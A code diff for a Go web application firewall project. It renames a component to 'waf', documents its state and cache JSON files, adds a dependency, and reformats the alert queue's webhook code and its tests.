answers `503`. It does not apply to an answer `discriminator` gives, such as
|
`503`. It does not apply to an answer `waf` gives, such as an error.
|
||||||
an error.
|
|
||||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||||
`off`.
|
`off`.
|
||||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||||
@@ -436,8 +462,9 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
|||||||
headers, the time until the app has been sent the whole request. A time or
|
headers, the time until the app has been sent the whole request. A time or
|
||||||
`off`.
|
`off`.
|
||||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||||
from the end of the request to its last byte reaching the visitor. A time or
|
from the end of the request to its last byte reaching the visitor. An answer
|
||||||
`off`.
|
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
|
||||||
|
status and headers of the app's answer. A time or `off`.
|
||||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||||
`https` URL with a host and an optional port, and nothing more.
|
`https` URL with a host and an optional port, and nothing more.
|
||||||
@@ -451,8 +478,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
|||||||
## The image's command
|
## The image's command
|
||||||
|
|
||||||
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
||||||
check checks: `rproxy` or `discriminator` (see "Deployment" in
|
check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)).
|
||||||
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
|
It cannot be given as a file.
|
||||||
|
|
||||||
## Where earlier settings went
|
## Where earlier settings went
|
||||||
|
|
||||||
|
|||||||
+74
-19
@@ -1,13 +1,28 @@
|
|||||||
# State files
|
# State and cache files
|
||||||
|
|
||||||
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
The JSON files `waf` keeps, and what each holds. "Persistent state" in
|
||||||
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
||||||
a top-level `version` of 1.
|
top-level `version` of 1.
|
||||||
|
|
||||||
|
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
|
||||||
|
what cannot be fetched again, so back them up:
|
||||||
|
- `bans.json`;
|
||||||
|
- `clients.json`;
|
||||||
|
- `abuseipdb-checks-spent.json`;
|
||||||
|
- `alerts.json`.
|
||||||
|
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
||||||
|
answers from outside services, which are asked again when a file is lost, so
|
||||||
|
the directory can be left out of backups:
|
||||||
|
- `lookups.json`;
|
||||||
|
- `lists.json`;
|
||||||
|
- `dnsbl.json`;
|
||||||
|
- `abuseipdb-scores.json`;
|
||||||
|
- `routewatch.json`.
|
||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||||
`discriminator` made. Per entry:
|
`waf` made. Per entry:
|
||||||
|
|
||||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||||
@@ -67,21 +82,13 @@ since it was first seen:
|
|||||||
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
||||||
kept, and which nothing adds to.
|
kept, and which nothing adds to.
|
||||||
|
|
||||||
## `lookups.json`
|
## `abuseipdb-checks-spent.json`
|
||||||
|
|
||||||
GeoJS answers, one per line:
|
The AbuseIPDB checks spent today, so that a restart does not spend the daily
|
||||||
|
budget again:
|
||||||
|
|
||||||
- `client`;
|
- `day`: the day, in UTC;
|
||||||
- `asn`, `as_name` and `country`;
|
- `spent`: the checks spent on it.
|
||||||
- `answered`: when GeoJS answered;
|
|
||||||
- `used`: when the answer was last used.
|
|
||||||
|
|
||||||
## `reputation.json`
|
|
||||||
|
|
||||||
- the last good copy of each list fetched from a URL, with when it was last
|
|
||||||
tried;
|
|
||||||
- each DNS blocklist verdict still in use;
|
|
||||||
- AbuseIPDB's scores, and the checks spent today.
|
|
||||||
|
|
||||||
## `alerts.json`
|
## `alerts.json`
|
||||||
|
|
||||||
@@ -91,6 +98,51 @@ GeoJS answers, one per line:
|
|||||||
- the alerts sent and held back in the current hour;
|
- the alerts sent and held back in the current hour;
|
||||||
- the alerts waiting for each destination.
|
- the alerts waiting for each destination.
|
||||||
|
|
||||||
|
## `lookups.json`
|
||||||
|
|
||||||
|
A cache file. GeoJS answers, one per line:
|
||||||
|
|
||||||
|
- `client`;
|
||||||
|
- `asn`, `as_name` and `country`;
|
||||||
|
- `answered`: when GeoJS answered;
|
||||||
|
- `used`: when the answer was last used.
|
||||||
|
|
||||||
|
## `lists.json`
|
||||||
|
|
||||||
|
A cache file. The last good copy of each list fetched from a URL, with when it
|
||||||
|
was last tried:
|
||||||
|
|
||||||
|
- `url`;
|
||||||
|
- `tried`: when it was last fetched or tried;
|
||||||
|
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
|
||||||
|
comment lines included.
|
||||||
|
|
||||||
|
## `dnsbl.json`
|
||||||
|
|
||||||
|
A cache file. Each DNS blocklist verdict still in use, one per line:
|
||||||
|
|
||||||
|
- `zone` and `client`;
|
||||||
|
- `listed`: whether the zone lists the client;
|
||||||
|
- `fetched`: when the zone answered.
|
||||||
|
|
||||||
|
## `abuseipdb-scores.json`
|
||||||
|
|
||||||
|
A cache file. AbuseIPDB's scores still in use, one per line:
|
||||||
|
|
||||||
|
- `client`;
|
||||||
|
- `score`: from 0 to 100;
|
||||||
|
- `fetched`: when AbuseIPDB answered.
|
||||||
|
|
||||||
|
## `routewatch.json`
|
||||||
|
|
||||||
|
A cache file. routewatch's answers from the last hour, one per line:
|
||||||
|
|
||||||
|
- `client`;
|
||||||
|
- `netblock`: the netblock the client's address is announced in, empty for an
|
||||||
|
address without a live route;
|
||||||
|
- `asn`: the number of the AS that originates the netblock, 0 for none;
|
||||||
|
- `answered`: when routewatch answered.
|
||||||
|
|
||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
@@ -102,4 +154,7 @@ GeoJS answers, one per line:
|
|||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
full.
|
full.
|
||||||
- `reputation.json` and `alerts.json`: usually a few MiB or less.
|
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
|
||||||
|
- `abuseipdb-checks-spent.json`: a few bytes.
|
||||||
|
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
|
||||||
|
a few MiB or less.
|
||||||
@@ -3,6 +3,7 @@ module sneak.berlin/go/smallwebwaf
|
|||||||
go 1.26.0
|
go 1.26.0
|
||||||
|
|
||||||
require (
|
require (
|
||||||
|
cloud.google.com/go v0.123.0
|
||||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
||||||
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
|
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
|
||||||
github.com/fsnotify/fsnotify v1.10.1
|
github.com/fsnotify/fsnotify v1.10.1
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
||||||
|
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
||||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||||
|
|||||||
+62
-21
@@ -56,9 +56,11 @@ const (
|
|||||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
// failing or refused, or the day's AbuseIPDB checks used up.
|
||||||
EventSourceFailure = "source_failure"
|
EventSourceFailure = "source_failure"
|
||||||
// EventFileError is a rule file or state file edited while sww
|
// EventFileError is one of:
|
||||||
// runs that does not parse, a replacement of the lookup database that
|
// - a rule file or state file edited while sww runs that does not parse;
|
||||||
// cannot be read, or a state file that cannot be written.
|
// - a cache file that does not parse, at start or after an edit;
|
||||||
|
// - a state file or cache file that cannot be written;
|
||||||
|
// - a replacement of the lookup database that cannot be read.
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
@@ -151,7 +153,7 @@ type Params struct {
|
|||||||
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
||||||
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
||||||
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
||||||
// the site of the request that raised the alert, while one discriminator serves
|
// the site of the request that raised the alert, while one waf serves
|
||||||
// many sites, and "" otherwise.
|
// many sites, and "" otherwise.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
||||||
@@ -289,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
|
|||||||
asn, _ := alert.Detail["asn"].(string)
|
asn, _ := alert.Detail["asn"].(string)
|
||||||
name, _ := alert.Detail["name"].(string)
|
name, _ := alert.Detail["name"].(string)
|
||||||
|
|
||||||
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
|
return cooldownKey{
|
||||||
|
alert.Event,
|
||||||
|
alert.Netblock,
|
||||||
|
file,
|
||||||
|
source,
|
||||||
|
scope,
|
||||||
|
asn,
|
||||||
|
name,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Queue with no alert yet.
|
// New returns a Queue with no alert yet.
|
||||||
@@ -331,7 +341,8 @@ func New(params Params) *Queue {
|
|||||||
// queue of each destination, from which Run sends it, and with queueSize
|
// queue of each destination, from which Run sends it, and with queueSize
|
||||||
// alerts waiting for a destination, the oldest is dropped.
|
// alerts waiting for a destination, the oldest is dropped.
|
||||||
func (q *Queue) Raise(alert Alert) {
|
func (q *Queue) Raise(alert Alert) {
|
||||||
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
|
if len(q.destinations) == 0 ||
|
||||||
|
!slices.Contains(q.params.Events, alert.Event) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -378,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
|
|||||||
now := q.params.Now()
|
now := q.params.Now()
|
||||||
|
|
||||||
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
||||||
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
|
if q.params.Cooldown > 0 && found &&
|
||||||
|
now.Sub(last.Sent) < q.params.Cooldown {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -472,10 +484,15 @@ func (q *Queue) Snapshot() State {
|
|||||||
}
|
}
|
||||||
|
|
||||||
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
||||||
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
|
return cmp.Or(
|
||||||
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
|
a.Netblock.Compare(b.Netblock),
|
||||||
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
|
cmp.Compare(a.Event, b.Event),
|
||||||
cmp.Compare(a.Name, b.Name))
|
cmp.Compare(a.File, b.File),
|
||||||
|
cmp.Compare(a.Source, b.Source),
|
||||||
|
cmp.Compare(a.Scope, b.Scope),
|
||||||
|
cmp.Compare(a.ASN, b.ASN),
|
||||||
|
cmp.Compare(a.Name, b.Name),
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, d := range q.destinations {
|
for _, d := range q.destinations {
|
||||||
@@ -607,9 +624,12 @@ func (q *Queue) endHour(now time.Time) {
|
|||||||
var reasons []string
|
var reasons []string
|
||||||
|
|
||||||
if heldBack > 0 {
|
if heldBack > 0 {
|
||||||
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
reasons = append(
|
||||||
|
reasons,
|
||||||
|
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if repeats > 0 {
|
if repeats > 0 {
|
||||||
@@ -688,12 +708,19 @@ func (d *destination) run(ctx context.Context) {
|
|||||||
case ctx.Err() == nil: // not cut off as sww stops
|
case ctx.Err() == nil: // not cut off as sww stops
|
||||||
d.sendFailures.Add(1)
|
d.sendFailures.Add(1)
|
||||||
|
|
||||||
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
|
retryDelay = min(
|
||||||
maxRetryDelay)
|
max(retryDelayFactor*retryDelay, firstRetryDelay),
|
||||||
|
maxRetryDelay,
|
||||||
|
)
|
||||||
retryAt = time.Now().Add(retryDelay)
|
retryAt = time.Now().Add(retryDelay)
|
||||||
|
|
||||||
d.processLog.Warn("sending an alert to "+d.setting+" failed",
|
d.processLog.Warn(
|
||||||
"error", err.Error(), "sending_again_in", retryDelay.String())
|
"sending an alert to "+d.setting+" failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
"sending_again_in",
|
||||||
|
retryDelay.String(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -781,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
|
req, err := http.NewRequestWithContext(
|
||||||
bytes.NewReader(body))
|
ctx,
|
||||||
|
http.MethodPost,
|
||||||
|
d.url.String(),
|
||||||
|
bytes.NewReader(body),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -836,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
|
|||||||
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
||||||
// Slack asks, so that nothing in them is read as a link or a mention.
|
// Slack asks, so that nothing in them is read as a link or a mention.
|
||||||
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||||
escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace
|
escape := strings.NewReplacer(
|
||||||
|
"&",
|
||||||
|
"&",
|
||||||
|
"<",
|
||||||
|
"<",
|
||||||
|
">",
|
||||||
|
">",
|
||||||
|
).Replace
|
||||||
|
|
||||||
body, err := json.Marshal(map[string]string{
|
body, err := json.Marshal(map[string]string{
|
||||||
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
||||||
@@ -934,7 +972,10 @@ func text(alert *Alert) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if alert.SuppressedRepeats > 0 {
|
if alert.SuppressedRepeats > 0 {
|
||||||
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
|
lines = append(
|
||||||
|
lines,
|
||||||
|
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return strings.Join(lines, "\n")
|
return strings.Join(lines, "\n")
|
||||||
|
|||||||
+304
-80
@@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
Country: "DE",
|
Country: "DE",
|
||||||
Reason: "requests per minute over the limit of 1000",
|
Reason: "requests per minute over the limit of 1000",
|
||||||
Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
Detail: map[string]any{
|
||||||
|
"cause": "limit",
|
||||||
|
"ban_expires": anHourOn,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
@@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
||||||
t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
|
t.Errorf(
|
||||||
|
"request %s %s, want POST %s",
|
||||||
|
got[0].method,
|
||||||
|
got[0].url,
|
||||||
|
webhookURL,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, want := range map[string]string{
|
for name, want := range map[string]string{
|
||||||
@@ -84,7 +92,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
"X-Team": "ops",
|
"X-Team": "ops",
|
||||||
} {
|
} {
|
||||||
if got[0].header.Get(name) != want {
|
if got[0].header.Get(name) != want {
|
||||||
t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
|
t.Errorf(
|
||||||
|
"header %s is %q, want %q",
|
||||||
|
name,
|
||||||
|
got[0].header.Get(name),
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -98,7 +111,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "DE",
|
"country": "DE",
|
||||||
"reason": "requests per minute over the limit of 1000",
|
"reason": "requests per minute over the limit of 1000",
|
||||||
"detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
"detail": map[string]any{
|
||||||
|
"cause": "limit",
|
||||||
|
"ban_expires": anHourOn,
|
||||||
|
},
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
})
|
})
|
||||||
wantCounts(t, q, 1, 0, 0, 0)
|
wantCounts(t, q, 1, 0, 0, 0)
|
||||||
@@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
params.Events = []string{
|
||||||
|
alerts.EventSourceFailure,
|
||||||
|
alerts.EventFileError,
|
||||||
|
}
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
q.Raise(
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
|
alerts.Alert{
|
||||||
|
Event: alerts.EventFileError,
|
||||||
|
Reason: "a file error",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventPermanentBan,
|
||||||
|
Netblock: netblock(1),
|
||||||
|
},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(t, webhook, alerts.EventFileError)
|
wantEvents(t, webhook, alerts.EventFileError)
|
||||||
@@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
params.Events = []string{
|
||||||
|
alerts.EventSourceFailure,
|
||||||
|
alerts.EventFileError,
|
||||||
|
}
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
|
|
||||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||||
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
|
t.Error(
|
||||||
|
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||||
@@ -188,7 +222,10 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
|||||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||||
} {
|
} {
|
||||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||||
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
t.Errorf(
|
||||||
|
"a ban alert would not be sent with only %s set",
|
||||||
|
setting,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
|
wantEvents(
|
||||||
alerts.EventBan)
|
t,
|
||||||
|
webhook,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
alerts.EventPermanentBan,
|
||||||
|
alerts.EventBan,
|
||||||
|
)
|
||||||
|
|
||||||
for i, want := range []struct {
|
for i, want := range []struct {
|
||||||
netblock int
|
netblock int
|
||||||
@@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
alert := got[i].alert
|
alert := got[i].alert
|
||||||
if alert["netblock"] != netblock(want.netblock).String() ||
|
if alert["netblock"] != netblock(want.netblock).String() ||
|
||||||
alert["suppressed_repeats"] != want.repeats {
|
alert["suppressed_repeats"] != want.repeats {
|
||||||
t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
|
t.Errorf(
|
||||||
alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
|
"alert %d is for %v with %v repeats, want %s with %v",
|
||||||
want.repeats)
|
i,
|
||||||
|
alert["netblock"],
|
||||||
|
alert["suppressed_repeats"],
|
||||||
|
netblock(want.netblock),
|
||||||
|
want.repeats,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
|
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -254,7 +304,10 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
|
|||||||
fileError := func(file string) alerts.Alert {
|
fileError := func(file string) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Event: alerts.EventFileError,
|
Event: alerts.EventFileError,
|
||||||
Detail: map[string]any{"file": file, "error": "line 2: an error"},
|
Detail: map[string]any{
|
||||||
|
"file": file,
|
||||||
|
"error": "line 2: an error",
|
||||||
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceFailure := func(source string) alerts.Alert {
|
sourceFailure := func(source string) alerts.Alert {
|
||||||
@@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
|
|||||||
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
||||||
}
|
}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
|
t.Errorf(
|
||||||
|
"the webhook was sent alerts for %v, want %v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCounts(t, q, 4, 0, 2, 0)
|
wantCounts(t, q, 4, 0, 2, 0)
|
||||||
@@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
|
|||||||
after.Raise(fileError("/rules.d/50-c.rules"))
|
after.Raise(fileError("/rules.d/50-c.rules"))
|
||||||
|
|
||||||
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
if len(waiting) != 1 ||
|
||||||
t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
|
waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
||||||
|
t.Errorf(
|
||||||
|
"after loading, alerts wait %+v, want the one for 50-c.rules",
|
||||||
|
waiting,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
||||||
